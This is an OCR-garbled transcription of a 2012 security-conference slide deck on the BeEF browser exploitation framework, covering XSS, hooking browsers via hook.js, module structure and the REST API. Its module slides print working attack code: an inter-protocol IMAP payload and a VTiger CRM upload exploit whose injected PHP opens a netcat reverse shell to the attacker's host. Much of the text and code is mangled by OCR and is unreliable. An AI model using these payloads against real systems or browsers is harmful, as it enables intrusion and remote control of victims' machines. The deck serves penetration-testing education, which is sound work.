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BEFORE WE BEGIN

The BeEF Team!

. All of the following slides, features, cool stuff and
discussion is a direct result of work by the core BeEF
developers and greater community.

. Specifically:

« Wade Alcorn
Michele Orru
Brendan Coles
Christian Frichot
Ben Passmore
Heather Pilkington
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The page at ill.net.nz says:
. X55 in 60 seconds or less
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XSS < 60 SECONDS

Cross-Site Scripting (XSS)

. Lack of escaping of untrusted data within a web
applicationresults in an attackers script executing
within the browser in the context of the application
domain

. Executes within the scope of authenticated sessions

. Every browser is affected differently and many, many
edge cases of unexpected behaviour exist

. Some common mitigations (Same Origin Policy,
HTTP-Only Cookie flag etc)

/
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WHY THIS?

Why does this stuff matter?

. 15 years ago, “the web” and “web applications” were a
hillarious joke (oh how we laughed)

. In 2012, almost every application development is web-
centric and the majority are browser delivered

: Modern day application thick clients also reside in or rely
heavily on the browser (JavaScript, Native-Client)

- Potential browser attack surface is HUGE

. With regards to this technology we rushed development

: Research In this area is still new

/
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MICHAL ZALEWSKI SAYS

We all messed up, and it is time to repent.
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WHY THIS?

The Cross-Site Scripting Problem

. With exceptionto a few high profileworms, XSS impact doesn’t
seem to be very well understood

: A2 no the OWASP TOP 10 - 2010
. It has moved well beyond alert(‘Hello World!’):
= Recon
= Persistence
» Targetted exploitdelivery
* Information leakage

: Mass hacking — Browsers are often a great way to targetalarge
number of clients from a single location

. Web applications are often the best way to “pivot” to your target
(internal networks, yummy data, financial systems etc.)

/

T %
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The future is scary!

Chrome = Secure Shell

https://chrome.google.com/webstore/detail/pnhechapfaindjnompbnficldabb

ghjo
8 OO0 ijow Hanging Kiwifruit Hmoneyshut:-v
€ - C Q

elcome to Secure Shell version 0.7.9.

he list of Frequently Asked Questions is available here:

onnecting to pipes@localhost, port 22...
oading NaCl plugin... done.

Fro Tip: You can save this session as a browser bookmark.

Password:

ast login: Thu May 3 11:26:04 2012 Trom localhost

[pipes@moneyshot ~]% cowsay THE FUTURE IS NOW

< THE FUTURE IS5 NOW >

()N JAVAN
|| |
Il

[pipes@moneyshot ~]%
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The Browser Exploitation Framework?
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INTRODUCING BeEF

The Browser Exploitation Framework

. Penetration testing tool which focuses on the web
browser

. Provides a platform for generating and delivering
Interesting payloads directly to the target browser

. Goes beyond “basic XSS”

. Allows attackers to leverage unique and often
powerful attack vectors

. Intended for lawful research and penetration testing
only (yes, this is a disclaimer!) /

T %

INSOMNIA



HISTORY

File Edit ‘iew Higtory Bookmarks Toolz Help  #® Getting Started

G- @ ) hitp/dbindshel.netbest il \xl B Gl Google =
.t‘ FS
Zombies Autorun Modules Standard Modules Options Help Wade Alcorn (http: f fwww. bindshell.net)
Browser Exploitation Copyright @ 2007 Wade Alcorn All Rights Reserved.
Framework
About
@ BeEF is the browser exploitation framework, Its purposes in life is to provide an
easily integratable framewaork to demonstrate the impact of browser and/or xss
BEEF issues issues in real-time. The modular structure has focused on making module
development a trivial process with the intelligence existing within BeEF.
Autorun What's New
dizahled Mew attack vector modules have been added along with conwvential ones
] * Mew attack vector Inten‘ﬂl Exploit modules
Zombies * Mew attack vector Inter-protocol Communication modules
@ Moz 168197135 * Mew direct Browser Exploit module
£
B 1971681921 Example

@ # 192.168.192.1 Use a browser to connect to 'hittp: /fbeefsite/hook/wss-example.htm'. Mow a zomhbie

will appear in the zombie section of the BeEF UL The IP address in the file will
require editing.

Select the 'std: alert' module from the 'standard module' menu and then click on the
zomhbie in the sidebar {under the icon). Mow both the module and a zombie hawve
been selected. The next step is to click the 'send' button to instruct the zombie.

&n alert dialog box should now appear in the zombie. Click the ok button. The
results of this action will appear in the with that zombies page. To view these
results select the zombie from the 'zombies' pull down menu. This page contains

warime infhrmatinn inelodina 'raodole racoltc!

Cone
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HISTORY

Rack in 2009, | gave a talk at OWASP Day

Disedsstenr annoyed rant with regards to exploit
chaining

. Demonstrated VTiger “XSS -> File Upload -> File
Discovery -> File Request” as a single BeEF
delivered exploit

. Used something like BeEF 0.3.1.x PHP version

. It worked, but it was messy

INSOMNIA




HISTORY

BeEF History
. Originally announced around 2006 by Wade Alcorn

. Got a little more popular in 2007 after Wade released
a paper titled: “Inter-Protocol Exploitation”

. Covered delivering basic network service exploits via
the browser

. It was awesome (when you could get it to work)

- It had a few Issues...

INSOMNIA



PHP BeEF

BeEF in PHP-minor
. BeEF was originally “hacked up” in PHP
. Contained a number of key issues:
* Plenty of code replication across modules

* There was not “real” or even usable API for
extending / leveraging within modules

* [t used PHP (channeling @iOnlc)

INSOMNIA




REWRITE
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THE REWRITE

The BeEF rewrite
. BeEF has undergone a complete rewritein Ruby

. Brings in some nice architecture changes, APIs, code
re-use etc

. As aresult, there are a number of really nice modules
. Has a fancy new console interface

: Undergoes significant automated testing (via
Jenkins)

. Is now hosted at GitHub
(https://github.com/beefproject)

INSOMNIA



- MODULE JS BEFORE

var target_ip 'IP_ADDRESS';
var target_port '220';
var payload = "";

bW M=

var scr_l ‘escr’ ‘ipth=';
var scr_r '</scr' 'ipt>';
var max_line_len = 23;

=i o n

function add_line(cmd) {
payload ser_l + emd + scr_r + "\\\n";

function construct_js(js) {
add_line("a="'"'");

js = js.replacel/ /g, "SP")

(i-9; i<js.length; i+-max_line_len) {
add_line("a+=\\\""+js.substring(i,i+max_line_len)+"\\\"");
}

add_line("s=5tring. fromCharCode(8x20)");
add_line("a=a.replace(/SP/g,s)");
}

var code = "";
function add_js(js) {
code+=js+";";

add_js("var result_id='" + result_id + "'");

[ =y

add_js("function include(script_filename) {"};

add_js("var html_doc = document.getElementsByTagName('head').item(®);");
add_js("var js = document.createElement('script');");

add_js("js.src = script_filename;");

add_js("js.type = 'text/javascript';");

add_js("js.defer = true;");

add_js("html_doc.appendChild(js);");

add_js("return js;");

add_js("}");

B

W W oW W W W W w
=i on

Bu
' @ WD |

-

e
T

add_js("include('" + beef_url + "' + '/hook/ipc_imap.js.php');");
construct_js(code);

add_line("eval(a)");

add_line("//__END_");

payload " COMMAND" ;

var iframe = document.createElement("iframe");
iframe.setAttribute("id","iwindow");

document. body.appendChild(iframe);

function do_submit({ip, port, content) {
form-document.createElement ("form") ;




- MODULE JS AFTER

[F - Y

-

~i

2 @ W0 o

beef.execute( function() {

var server '<H= @server %';
var port ‘<%= @port %=';
var commands ‘<%= @commands %>';

[ i ey

-~ o

var target = "http://" + server + ":" + port + "/abc.html";
var iframe = beef.dom.createInvisibleIframe();

' ® D m

var form = document.createElement('form');
form.setAttribute( '‘name', 'data');
form.setAttribute('action', target);
form.setAttribute( 'method', 'post');
form.setAttribute('enctype’', ‘multipart/form-data');

[

var input = document.createElement('input');
input.setAttribute('id', 'datal')
input.setAttribute('name', 'datal')
input.setAttribute('type', ‘'hidden');
input.setAttribute('value', commands);
form.appendChild(input);

~] o

2
"
2
2
2
2
2
2
2
3
3
3
a3
3
a3
3
£
3
-
3
2
3
3
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.

iframe. contentWindow. document.body.appendChild(form);
form.submit();

beef.net.send("<%= @command_url %", @command_id %=, "result=IMAP4 commands sent"):



BeEF Features

Extensions & Features:
: Web Ul

. Console Ul

. Metasploit Integration
. XSSRays

. Modular structure

. BeEF JavaScript Object

INSOMNIA




BeEF Features

Module Features:

. Interprocess communications & exploitation
. History gathering and intelligence

. Network recon (ping sweep, port scan etc)

. Host information gathering (OS, Arch)

. Browser plugin detection

. Persistence

. Exploits (RouterPWN etc)

INSOMNIA



ARCHITECTURE

BEEF 0.4.2.1 1-ALPHA
ARCHITECTURE
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ARCHITECTURE

Architecture Overview

. BeEF CS has three main components:
. The Core

. Extensions

: Command Modules

INSOMNIA




ARCHITECTURE

CORE

. Central API

. Filters

. Primary client-side JavaScript

. Server-side asset handling and web services
. Ruby extensions

. Database modelling

: Hooking methods
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EXTENSIONS

Extensions
. Allows for extending The Core

: Can hook various functions and APIs

INSOMNIA



EXTENSIONS

Extension Examples

: The Console

. Metasploit Integration
. XSS Rays

. Web Ul

. Event handling

: Hook Demo Pages

INSOMNIA



COMMAND MODULES

Command Modules

. Individually packaged HTML / JavaScript packages
. “The Payload”

. Several categories:
 Browser
* Debugging
 Host
 Misc.
 Network
* Persistence
« Recon
 Router

INSOMNIA



ARCHITECTURE

Command Module Examples

. Browser Information Recon

Network Recon

Persistence Techniques

. Exploit Delivery (browser, router etc.)

- Host Information Recon

INSOMNIA



MODULES
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MODULES

Module Overview

. Each module is compromised of 3 primary files:
= Configuration File (config.yaml)
= Ruby Module Code (module.rb)

» JavaScript Payload (command.|s)

INSOMNIA



CONFIG.YAML

"Exploits"
"VTiger CRM Upload Exploit"
"This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the Ck
[uwadeu' umu' upipesu' uxntriku' "Yorik\""]

["ALL"]

config.yaml:

: Provides some basic information
: Determines if the module 1s enabled
. Defines the targeting configuration

: ldentifies who authored the module

INSOMNA



MODULE.RB

Vtiger_crm_upload_exploit < BeEF::Core::Command

self.options
time = Time.
weekno time.day

@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") @configuration.get("beef.http.host")
[

{'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site', 'width'=>'400px'},

{'name'=>'vtiger_filepath', 'ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s(}+'/'+time.strftime("%B")+"' /week'+weekno.to_s()+'/", 'widt
{'name'=>"'mal_filename', 'ui_label'=>'Malicious Filename','value'=>rand(32++10).to_s(32), 'width'=>"'400px'},

{'name'=>'mal_ext', ‘ui_label'=>'Malicious File Extension','value'=>'PHP', th'=>"'400px '},

{'name'=="vtiger_php'; 'ui_label'=>"Injected PHP (must escape single quotes)','value'=>'<?php passthru{"/bin/nc —e /bin/sh '+beef_host+' 8888"); 7=','ty
{'name'=>"upload_timeout', 'ui_label'=>'Upload Timeout','value'=>'5000'}

post_execute
@datastore['result'].nil?

save({'result' => @datastore['result']})

module.rb:

. Defines configurable options (self.options)

. Defines return result actions (post.execute)

INSOMNA



COMMAND.JS

(document .getElementById( 'vtigerimg')) {
“Exploit running already";
b3

var img Image();
img.setAttribute("style”,"visibility:hidden");
img.setAttribute("width","@");
img.setAttribute("height","@");

img.id 'vtigerimg';

document . body.appendChild(img) ;

baseurl = "<%= @vtiger_url %";

command.js:

. JavaScript payload template
. Supports eRuby variable substitution (<%= @var %>)
. Leverages the BeEF JavaScript Object (beef):

E.g.: beef.dom.createlnvisiblelframe();

7
/
T %
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Ul VIEW

Getting Started ®1 Logs Current Browser

Details Logs Commands Rider XssRays
Module Tree Module Results History VTiger CRM Upload Exploit

» (] Browser (25) _ id . | date labed Description:  This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
> [ Chrome Extensions (4) The default PHP requires a listener, so don't forget to start one, for example: nc -1 8888,

» [0 Debug (3) cuted command maod . .
4 =5 Exploits (7) EE:::WED http://vulnerable-vtiger.site
_ ColdFusion Directory Traver
_ Jboss 6.0.0M1 JMX Deploy E?r:!ftfw: /storage/2012/May/week1/
_ \/Tiger CRM Upload Exploit -
_ Zenoss Add User CSRF ;ﬁ;‘;'ﬁ‘x v7qgsB17e0

_ Zenoss Daemon CSRF
Malicious File | PHP

& Java Payload Extension:

& Safari Launch App Infected PHP 5 i i .
s 5 Host (13 [nmp;:mpe <?php passthru("/bin/nc -e /bin/sh 0.0.0.0 8888"); 7>
> [ IPEC (8) single quotes):
» (-] Metasploit {0)
» [0 Misc (4)
» [~ Metwork (7)
> [ Persistence (3) Upload 5000

> ] Phonegap (8)
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GETTING STARTED

Authentication

Lsername:

Password:

Login
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EXECUTION — INSTALLATION ON EC2

Choose an Amazon Machine Image (AMI) from one of the tabbed lists below by clicking its Select button.

My AMIs ’ ’ Community AMIS | b Find and buy software from well known sellers. Search AMIs on \_ﬁwsmarketplace

Amazon Linux AMI 2012.03
The Amazon Linux AMI 2012.03 is an EBS-backed, PV-GRUB image. It includes

‘. amazon Linux 3.2, AWS tools, and repository access to multiple versions of MySQL, " Select ul
PostgreSQL, Python, Ruby, and Tomcat.
Root Device Size: 8 GB (+) 64 bit () 32 bit
Red Hat Enterprise Linux 6.2

‘ redhat Red Hat Enterprise Linux version 6.2, EBS-boot. | Select 1.2
Root Device Size: 6 GB (+) 64 bit ) 32 bit

SUSE Linux Enterprise Server 11
SUSE Linux Enterprise Server 11 Service Pack 2 basic install, EBS boot with

D eeme”  Amazon EC2 AMI Tools preinstalled; Apache 2.2, MySQL 5.0, PHP 5.3, and Select 14|
Ruby 1.8.7 -
Root Device Size: 10 GB (+) 64 bit () 32 bit

INSOMNA



ot EXECUTION — INSTALLATION ON EC2

s Configure your new SSH Identity

SSH 10 the new EC2 Instance

Execute the Installer script by @xntrik




N EXECUTION — INSTALLATION ON EC2

initiate the RVM environment

Fire up the lazors

Profit!




Ul: /ui/authentication

]
® 06 ¢ BeEF Authentication - il.
&« C (@ ec2-107-22-36-80.compute-1.amazonaws.com:3000/ui/authentication o © f w O

Authentication
Username: beef
Password: esee

h beef//|beef

INSOMNIA



Ul: /ui/panel

800 '@ BeEF Control Panel

o |

& C (O ec2-107-22-36-80.compute-1.amazonaws.com:3000/ui/panel ks @ € = O 7

Fd ‘& BeEF 0.4.3.4-alpha | Submit Bug | Logout
Hooked Browsers

[_] Online Browsers

[:l Offline Browsers

Getting Started %/ Logs

=eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/
Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here.

After a browser is hooked into the framework they will appear in the Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Main: Display infermation about the hooked browser after you've run some command modules,
Logs: Displays recent log entries related to this particular hooked browser.

Commands: This tab is where modules can be executed against the hooked browser. This is where
maost of the BeEF functionality resides. Most command modules consist of Javascript code that is
executed against the selected Hooked Browser. Command moedules are able to perform any actions
that can be achieved through Javascript: for example they may gather information about the
Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities
within the local network of the Hooked Browser.

Each command medule has a traffic light icon, which is used to indicate the following:

. The command module works against the target and should be invisible to the user

' The command module works against the target, but may be visible to the user
The command module is yet to be verified against this target

@ The command module does not work against this target

XssRays: The ¥ssRays tab allows the user to check if links, forms and URI path of the page {where
the browser is hooked) is vulnerable to XS5,

St Bequester Rider: The Rider tab allows vou te submit arbitrary HTTP requests on behalf of the hooked

INSOMNIA



ZOMBIE: /demos/basic.html

@ BeEF Basic Demo

& C'  (© ec2-107-22-36-80.compute-1.amazonaws.com:3000/demos/basic.html bk © f v BN

Youshouldbe ® O © Developer Tools - http://ec2-107-22-36-80.compute-1.amazonaws.com:3000/demos/basic.html|

sa

These links are™
¥ (] Frames 1
v i 3
o BeER ‘:_-, el a <title=BeEF Basic Demo</title
i >
o ha.ckers. Sc'npt: o 5 <script>
o Nerd h 74 DO”JS” 6 var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js"
] b n 7 document.write(commandModuleStr)
8 </script>
Have a go at th ¥ | |Databases i P— / P
v
Insert your sect @_ Local Storage 2
¥ || Session Storage <body>
=) 5 You should be hooked into <b>=BeEF</b>.
v
You can also I¢ 7 < Cookies <p>
{2y ec2-107-22-... Have fun while your browser is working against you.
v ] Application Cache </p>
<p>
These links are for demonstrating the "collect links" command module<br />
<ul>
<li><a href="http://beefproject.com" target="_blank"=>BeEF homepage</a>

http://ha.ckers.org/" target blank">ha.ckers.org homepage</a>
<li»<a href="http://slashdot.org/" target="_blank">Nerd homepage</a>

</ul>
</p>

<p>Have a go at the event logger.<br />
<label for="imptxt">Insert your secret here:</label=&nbsp;&nbsp;<input type="text" id="imptxt" name="Important Text" /></j

<p>
You can also load up a more advanced demo page <a href="butcher/index.html">here</a>
</p>

</body>
5 |</html>

HOOKING:
. The goal is to get http://<beef>/hook.js into the target browser
. BeEF provides several ‘demo’ pages to demonstrate browser hooking (hook.js)

. http://<beef>/demos/basic.html
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= Hooked Browsers Getting Started
4 Online Browsers -

4 55 ec2-107-22-36-80.compute-1.amaz| | Details

Ul: ZOMBIE COMMAND

Logs

Current Browser

Logs | Commands | Rider || XssRays
CK 12198 '

Module Tree
4 {5 Offiine Bre

% > [ Browser (9)
4 (=7 ec2-107-24436-80.compute-1.amaz|

(2] Chrome Extensions (5)
7 K 12198,

» [Z]Debug (3)

@ D 115080 (=] Exploits (8)

[ Hooked Domain (15)
> [C1Host (13)

[ZIIPEC (6)

(2 Metasploit (0)
4 53 Misc (4)

» Local File Theft

. iFrame Event Logger
@ Pretty Theft
W Raw JavaScript
> [ Network (7),
() Persistence | 3)
b (] Phonegap
(] Router (7)

Module Results History

Raw JavaScript
id date

o

label Description:
2012-05-04 01:22 command 1

alert('BeEF Raw Javascript');

Code: return 'It worked!";

# BeEF 0.434-apha | Submit Bug | Logout

This module will send the code entered in the JavaScript Code' section to the selected hooked browsers where it will be executed. Code is run
inside an anonymous function and the return value is passed to the framework. Multiline scripts are allowed, no special enceding is required.
Javascript

COMMAND UI:

- Includes:

= Zombie list

module browser

» selected command module configuration

INSOMNIA




ZOMBIE: COMMAND RECV

| h j 200 hook.js:16 2668 293ms
’ i GET : text/jav.. oo S
OK Scrip B 93ms
j 200 hook.js:16 2668 295ms
mepcs GET : textfjav... o .
6] Script 0B 295ms
al i 200 hook.js:16 1.16KB
’ hoolcjs GET text/jav... - SR %7
L OK Script 9188 331ms
| dh 200 hook.js:16 3288 274ms
‘ GET 2 text/fjav... oy oF
OK Script 08 273ms

3288 273ms

POLLING:

. Once the browser is hooked, beef will ‘poll’ for new
JavaScript payloads to execute.

. When the a payload is found, it will execute it.

INSOMNIA




ZOMBIE: RAW PAYLOAD

reef.execute(function() {
var result;

try {
result = function() {alert('BeEF Raw Javascript');
-eturn 'It worked!';}();
} catch(e) {
for{var n in e)
result+=n + " " + el[n] + "\n";

}

beef.net.send('/command/raw_javascript.js', 7, 'result='+result);

PAYLOAD:

. BeEF has substituted the eRuby variables as per the
template

. Script creation has been “taken care of”, provided no
errors, the payload will execute immediately and
provide the return value.

INSOMN#A ﬁ



ZOMBIE: VIEW

800 /'@ BeEF Control Panel

&~ e Q ec2-107-22-36-80.compute-1.amazonaws.com:3000/ui/panel

Hooked Browsers
4 ] Online Browsers ‘
4 -7 ec2-107-22-36-80.compute-1.amaz Details Logs Commands Rider XssRays

Getting Started *1 lLogs Current Browser

S K 1219, Module Tree Module Results History Command results
4 ] Offiine Browsers

B (L Browser (9) id dat label 1
4 £ ec2-107-22-36-80.compute-1.amaz i

) . . =| |
o Wiz i [ L_—I Chrome Extensions (5) 3 I - 3 data: result=It worked!
I (] Debug (3)
® 5 115.189 b (L] Exploits (8)
S K 12198 b (=] Hooked Domain (15)
b (L] Host(13)
> [CJIPEC (6)
(_ Metasploit (0)
4 ] Misc (4)
Local File Theft
iFrame Event Logger
@ Pretty Theft
« Raw JavaScript
b [~ Network (7)
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COMMAND VIEW

8006 /'@ BeEF Control Panel

T N— k

&~ C () ec2-107-22-36-80.compute-1.amazonaws.com:3000/ui/panel

- Br x Getting Started
4 ] Online Browsers
4 7 ec2-107-22-36-80.compute-1.amaz || Details || Logs | Commands | Rider XssRays

Logs Current Browser

S K 12198, Module Tree Module Results History Command results
4 ] Offiine Browsers

0 [ Browser (9) id dat label . !
4 (] ec2-107-22-36-80.compute-1.amaz :

) (7] Chrome Extensions (5)
7 K 12198 > £ Debug (3)
® D 115189 b (£ Exploits (8)
&K 12198 b (] Hooked Domain (15)
- [C]Host (13)
b [CJIPEC (6)
(=1 Metasploit (0)
4 55 Misc (4)
Local File Theft
iFrame Event Logger
@ Pretty Theft
& Raw JavaScript
[ Network (7)

RETURN RESULT:

data: result=It worked!
0 2012-05-04 01:22 command 1

. The return result will appear in the Module Results
History window within the UI.

INSOMN#A ﬁ




MOBILE

MOBILE BROWSERS:

. For the most part, BeEF works
fine with mobile devices /
browsers

: Contains a number of mobile
specific modules

. QR code support

el B 12:08

http://ec2-107-22-36-80.... g
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INTRODUCING THE RESTFUL API

RESTFUL API:

- In 0.4.3.3, @antisnatchor introduced the RESTful API

. Allows monitoring & control of Zombies hooked on
your BeEF instance by thirdparty scripts and
applications

: Works as advertised

. Each BeEF instance now generates a new RESTful
APl key (token)




AVAILABLE METHODS

USAGE:

. /lapi/hooks (GET): Dump information about hooked
browsers (zombies)

. /api/logs (GET): Dump logging information from both
hooked browsers & control systems

. /lapi/modules (GET/POST): List, view and execute
command modules against zombies

INSOMNIA



EXAMPLE REQUEST

http:

{"hooked=hrowsers":
{"online

"offline™:
{"a":

1 name™ 2L

/mMDJ@9ple« 67 ] q¥XIRoBKcbhbZmdERgDigmZaXXhR30RHe2 j Iz3HbPBUrQwZtBCzpELZ",

36-80. compute-1.amazonaws.com",

r2-107-22-36-80. compute-1. am . ic.html"},
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RESTFUL APl DEMO

BeEF RESTful APl Demo

http://beefproject.com

http://blog.beefproject.com/

https://github.com/beefproject/beef
By Heather Pilkington



http://beefproject.com/

Got BeEF?

Download Now

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

GitHub Source Control ﬂ Bug Reporting B Blog N4 Wiki G Twitter @ YouTube m Linkedin Mailing List

What is BeEF?

BeEF is short for The Browser Exploitation Framework. It is a
penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against
clients, including mobile clients, BeEF allows the professional
penetration tester to assess the actual security posture of a
target environment by using client-side attack vectors. Unlike
other security frameworks, BeEF looks past the hardened
network perimeter and client system, and examines
exploitability within the context of the one open door: the web
browser. BeEF will hook one or more web browsers and use
them as beachheads for launching directed command
modules and further attacks against the system from within
the browser context.

Contribute to BeEF

The BeEF project uses GitHub to track issues and host its
svn repository. To checkout a read only copy of the
repository you can issue the command below:

git clone https://github.com/beefproject/beef

To checkout a non-read only copy or for more information
please refer to GitHub.

Q Development Mailling List




ADDITIONAL RESOURCES

. Twitter :: @beefproject

. Github :: https://github.com/beefproject

. IRC ::ircs:/lirc.freenode.net/beefproject

. Development List :: beef-subscribe@bindshell.net

: Me :: mark@insomniasec.com
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REFERENCES

Futher Reading

. https:/lwww.owasp.org/index.php/Cross-
site_Scripting_(XSS)

. http://code.google.com/p/browsersec/

. http://aaronhardy.com/javascript/javascript-
architecture-the-basics/

. http://events.ccc.de/congress/2011/Fahrplan/attachm
ents/2009 aaj-28c3.pdf

. https://github.com/beefproject/beef/wiki/BeEF-
RESTful-API
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